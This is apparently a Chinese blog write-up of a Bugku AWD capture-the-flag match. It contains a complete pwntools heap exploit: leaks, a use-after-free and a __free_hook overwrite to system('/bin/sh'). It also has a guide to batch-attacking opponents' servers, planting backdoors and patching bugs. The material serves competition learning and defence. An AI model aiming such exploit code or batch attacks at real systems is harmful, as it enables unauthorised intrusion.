Featured image of post 第一次AWD水友赛

第一次AWD水友赛

Bugku CTF-AWD,21人混战,作者爆0

前言:激战时间是2025年10月2日13:10——17:00

Exploit思路

AI分析…绷不住:

自己本地复现去吧。

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from pwn import *

# 环境配置
context.log_level = 'debug'
context.binary = elf = ELF('./pwn')
context.terminal = ['tmux', 'splitw', '-h']
libc = ELF('./libc.so.6')
io = process(elf.path)

# 命令发送函数:发送指定命令编号
def cmd(c: int):
    io.sendlineafter(b'>', str(c).encode())

# 捕获马匹函数:指定索引和颜色(0=bay,1=chestnut,2=gray)
def catch(idx: int, color: int):
    cmd(1)
    io.sendlineafter(b'>', str(idx).encode())
    colors = ["bay", "chestnut", "gray"]
    io.sendlineafter(b'>', colors[color].encode())

# 命名马匹函数:指定索引和名称(支持字节流)
def naming(idx: int, name: bytes):
    cmd(2)
    io.sendlineafter(b'>', str(idx).encode())
    io.sendlineafter(b'>', name)

# 展示马匹函数:指定索引,触发信息输出
def show(idx: int):
    cmd(3)
    io.sendlineafter(b'>', str(idx).encode())

# 马匹跳舞函数:指定索引,触发函数指针调用
def dance(idx: int):
    cmd(4)
    io.sendlineafter(b'>', str(idx).encode())

# 释放马匹函数:指定索引,释放堆内存
def release(idx: int):
    cmd(5)
    io.sendlineafter(b'>', str(idx).encode())

# 1. 泄露 PIE 基址:通过 show(-7) 读取非法索引内存
show(-7)
piebase = u64(io.recvline().strip().ljust(8, b'\x00')) - 0x4008
success("piebase: " + hex(piebase))

# 2. 创建 6 个马匹堆块(索引 0-2、5-7)
catch(0, 0)
catch(1, 1)
catch(2, 2)
catch(5, 0)
catch(6, 1)
catch(7, 2)

# 3. 泄露堆基址:释放索引 0、1,通过 show(1) 读取残留堆地址
release(0)
release(1)
show(1)
heap = u64(io.recvline().strip().ljust(8, b'\x00')) - 0x260
success("heap: " + hex(heap))

# 4. 篡改堆块指针:通过 naming(1) 覆盖为 PIE 内数据地址,泄露 libc 基址
naming(1, p64(piebase + 0x4020))
catch(3, 0)
catch(4, 1)
show(4)
libcbase = u64(io.recvline().strip().ljust(8, b'\x00')) - 0x3ec760
success("libcbase: " + hex(libcbase))

# 5. 劫持 __free_hook:通过 UAF 漏洞篡改指针,写入 system 地址
release(5)
release(6)
naming(6, p64(libcbase + libc.sym['__free_hook']))
catch(8, 0)
catch(9, 1)
naming(9, p64(libcbase + libc.sym['system']))

# 6. 触发 system("/bin/sh"):命名索引 7 为 /bin/sh,释放时执行
naming(7, b'/bin/sh\x00')
release(7)

# 交互获取 shell
io.interactive()

不足之处

我去…第一次接触PWN-AWD,是真坐牢,什么都不会,看到free我就知道这下午肯定坐牢了…

附件: awd.7z

第一次连,scp都连不上,多亏群主相助。

程序运行

总结

AWD 中的 PWN 选手是 “攻防双核心”,既要能快速打穿对手拿分,又要能守住己方不丢分,其表现直接影响团队的最终排名。

攻击端任务:“打穿对手,拿 flag 得分”

攻击是 AWD 的核心得分手段,PWN 选手需在比赛初期快速完成 “漏洞挖掘→EXP 编写→批量攻击→flag 提交” 的闭环,具体步骤如下:

1. 漏洞挖掘:快速定位可利用漏洞

比赛会为每个队伍提供相同的 PWN 程序(源码或二进制文件),PWN 选手需第一时间分析程序漏洞,重点关注:

高危漏洞优先:优先挖掘可直接获取 Shell 的漏洞(如栈溢出、堆溢出、UAF、函数指针劫持等),其次是信息泄露漏洞(如格式化字符串、未初始化内存泄露,用于辅助获取 libc 基址、PIE 基址等);

结合程序逻辑:针对 AWD 常见的 PWN 程序类型(如菜单式程序、文件操作程序、网络服务程序),重点检查 “输入处理”(如gets/strcpy无长度限制)、“内存管理”(如 free 后未置空指针、堆块重叠)、“功能调用”(如可控函数指针、系统命令调用)等环节;

工具辅助:用IDA Pro/Ghidra反编译二进制文件,checksec查看保护机制(PIE、RELRO、Stack Canary、NX),gdb动态调试验证漏洞触发条件。

2. EXP 编写:高效生成攻击脚本

漏洞确认后,需编写自动化 Exploit(EXP)脚本,核心要求是稳定、通用

适配保护机制:

1、若开启 PIE(地址随机化):通过信息泄露漏洞(如 show 函数泄露)获取基址,动态计算目标地址;

2、若开启 Stack Canary:判断是否可绕过(如通过 UAF 泄露 Canary 值),或优先选择无 Canary 保护的漏洞点;

3、若开启 NX(栈不可执行):构造 ROP 链调用system("/bin/sh"),或劫持__free_hook/__malloc_hook

自动化交互:用pwntools库封装程序交互逻辑(如菜单选择、输入发送、结果接收),确保 EXP 能自动完成 “连接目标→触发漏洞→获取 Shell→读取 flag” 的全流程;

批量攻击适配:比赛中需攻击多个对手 IP(通常是 C 段或指定 IP 列表),EXP 需支持批量读取 IP 列表、多线程攻击,提升攻击效率。

3. 漏洞利用:获取 Shell 与 flag

远程攻击:通过 EXP 连接对手服务器的 PWN 程序端口,触发漏洞获取 Shell(如system("/bin/sh"));

flag 读取:AWD 比赛中,flag 通常存放在固定路径(如/home/flag.txt/tmp/flag),获取 Shell 后执行cat 路径读取 flag,按比赛要求提交(如 POST 到指定接口、写入己方 flag 存储目录);

横向扩展:若获取的 Shell 权限较高(如 root),可进一步横向渗透(如查看其他服务、种植后门),但需注意比赛规则(部分比赛禁止破坏对手服务器)。

4. 对抗性优化:应对对手防御

随着比赛推进,对手会修复漏洞,PWN 选手需调整攻击策略:

多漏洞备份:若主漏洞被修复,快速切换到备用漏洞(如主漏洞是栈溢出,备用漏洞是格式化字符串);

绕过修复:分析对手的修复逻辑(如简单添加长度检查),寻找绕过方法(如利用修复漏洞的逻辑缺陷,或构造特殊输入绕过检查);

0day 储备:若提前挖掘到未被普遍发现的漏洞(0day),可在后期对手放松防御时集中攻击,获取大量分数。

防御端任务:“修复漏洞,守住己方服务器”

防御的核心是 “不让对手利用己方 PWN 程序漏洞”,需在攻击的同时快速完成漏洞修复,避免丢分:

1. 漏洞修复:针对性修补漏洞点

根据攻击端挖掘的漏洞,对己方 PWN 程序进行最小化修复(避免过度修改导致程序无法运行),常见修复方式:

栈溢出 / 堆溢出修复:

替换危险函数(如getsfgetsstrcpystrncpy),严格限制输入长度;

对堆操作添加边界检查(如检查index是否在合法范围、堆块大小是否合理);

格式化字符串漏洞修复:

printf(user_input)改为printf("%s", user_input),避免用户可控内容作为格式字符串;

UAF 漏洞修复:

free内存后将指针置空(如free(list[index]); list[index] = NULL),后续使用前检查指针是否为NULL`;

函数指针劫持修复:

维护合法函数指针列表,调用前检查指针是否在列表内(如if (func_ptr != bay_dance && func_ptr != chestnut_dance) return;)。

2. 程序重编译与部署

编译选项加固:重新编译修复后的程序时,开启更严格的保护机制(如-fstack-protector-strong增强 Canary、-Wl,-z,relro,-z,now开启全 RELRO),提升对手攻击难度;

快速部署:将修复后的程序替换己方服务器上的原程序,重启服务(注意避免服务中断时间过长,部分比赛会因服务不可用扣分);

验证修复效果:用己方编写的 EXP 测试修复后的程序,确认漏洞已被封堵(如 EXP 无法触发 Shell、程序无崩溃)。

3. 日志监控与攻击溯源

日志分析:监控 PWN 程序的运行日志(如输入输出日志、系统调用日志),识别对手的攻击尝试(如异常输入、重复连接);

流量捕获:用tcpdump/wireshark捕获 PWN 程序端口的网络流量,分析对手的 EXP 特征(如固定 payload 开头、交互流程),为后续防御优化提供依据;

应急响应:若发现己方服务器被攻击(如 flag 被窃取),立即检查 PWN 程序是否存在未修复的漏洞,或是否有新的漏洞被利用,快速二次修复。

关键能力要求

漏洞挖掘速度:比赛初期(前 30 分钟)能否快速定位可利用漏洞,直接决定攻击的 “黄金窗口期”;

EXP 稳定性:编写的 EXP 需能应对不同服务器环境(如不同 libc 版本、系统内核),避免因环境差异导致攻击失败;

修复准确性:修复漏洞时需精准定位问题点,避免引入新 bug(如过度修改导致程序功能异常);

抗压能力:比赛中需同时处理 “攻击” 和 “防御”,需快速切换思路,应对对手的动态攻击策略。

最后更新于 2025-10-04